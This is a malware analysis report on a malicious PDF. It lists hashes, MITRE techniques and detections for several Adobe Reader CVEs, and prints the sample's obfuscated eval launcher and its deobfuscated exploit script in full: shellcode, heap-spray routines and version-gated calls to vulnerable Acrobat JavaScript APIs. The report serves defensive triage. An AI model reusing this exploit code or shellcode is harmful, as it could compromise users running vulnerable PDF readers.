Malicious PDF — malware analysis report

Static analysis result for SHA-256 f5da080291496aea…

MALICIOUS

PDF

26.1 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 511b5d73982373d6c4a84fc09c5dfdf5 SHA-1: 02aa9158e7a8c84b382eb4cb1c67ce84cd94fd1a SHA-256: f5da080291496aea5cad1e489cc4b0ccba23db8e7f0b8fd03c01bedee935d3eb
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1059.007 Command and Scripting Interpreter: JavaScript/TypeScript

The PDF file contains embedded JavaScript, which is heavily obfuscated and uses an eval() call. This strongly suggests the script is designed to download and execute a secondary payload. The obfuscation and use of eval() are common techniques for evading static analysis and delivering malware. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      BidIti=eval(XigonkIj.replace('PaqoGogxez','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x644E 783 bytes
SHA-256: 44cdd8c2d1d254922865465eb3e1fe206dddd86043dd76c958332f2dd411de61
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var CiraryxonuqeHej='';
var PaqoGogxeze=this.producer.substr(0,4);
for(var XigonkIj in this) {
	if (XigonkIj=='PaqoGogxeze')
		BidIti=eval(XigonkIj.replace('PaqoGogxez','')+'val');
}
ZidiqhyxosyzjOvux = BidIti('new Date(2007,2,51,2,12,5)');
aqIf = 'thi'+ZidiqhyxosyzjOvux.getHours()+'ducer';
VkEb=BidIti(aqIf.replace(2,'s.pro'));
VkEb = VkEb.replace(/t/g,'2');
BqnesofazSybev = VkEb.substr(4).split('s');
var CevAr = '';
g = ZidiqhyxosyzjOvux.getHours()*2;
var ucUlaraehur = 'fro'+ZidiqhyxosyzjOvux.getHours()+'arCode';
ucUlaraehur=ucUlaraehur.replace(2,'mCh');
PimiludoPeri=String[ucUlaraehur];
for (XigonkIj = 0; XigonkIj < BqnesofazSybev.length; XigonkIj++) {
	WihoMzor = BidIti(BqnesofazSybev[XigonkIj]);
	CevAr += PimiludoPeri(WihoMzor);
}
BidIti(CevAr);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3722 bytes
SHA-256: 45721c42356a035b23cfcaadc481cd19eaa78bbcaa204c00249318d5bba037b0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u52B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u4234%uE2AA%uC3FA%uE5E8%uFFFF%uABFF%u434E%u4242%uC31C%u1EAE%u4243%uCB42%uCFA5%u520D%u2DCF%u7316%u1599%u1113%u1111%u1111%u1111%u1117%u2A11%u4346%u4242%u1417%u2A11%u2C2D%u4242%u372A%u2E30%u162F%uCC2A%u4C0C%uAAAE%u420A%u4242%uAA12%u423E%u4242%u92BD%u86C1%u2A4A%uAD0D%u470D%uAA12%u422E%u4242%u92BD%u82C7%u5537%u1628%uB11B%u2AE8%uBC30%u54F1%u5FAA%u4242%u1242%u13AA%u4242%uBD42%u1192%uBC28%uCB2A%u432D%uAAFF%u424A%u4242%uAA12%u427E%u4242%u92BD%u7322%u2682%u12C9%uC972%u4E10%u10C9%uC956%u6A30%u5AFB%u4242%u7342%u73BD%uEE82%u237E%u403E%u626E%u8D83%u434F%uA085%uC3B2%u19BD%u08FE%uC928%u5200%u50C9%u9B37%u06CB%u5E66%u8123%uC922%u662E%uC966%u7E07%u16C9%u3A47%uA843%u08C9%uC95A%u6218%uA943%u76A1%uC90B%uC976%uAC43%uBD73%u8273%uEEBE%u82C6%u4536%u8D83%u434F%uA985%u79B6%u663E%u376A%uC9A3%u6618%uA943%uC924%u094E%u18C9%u435E%uC9A9%uC946%uAA43%u06CB%u5E66%u8023%u424A%uADAA%uBDBC%u2ABD%u3636%u7832%u6D6D%u3020%u3123%u3B35%u6C2C%u3821%u216C%u6D21%u372D%u6C36%u2A32%u7D32%u7F23%u1313%u0429%u2500%u0072%u3503%u0335%u3503%u060B%u2907%u0821%u0300%u7F7F%u3264%u757F%u0042';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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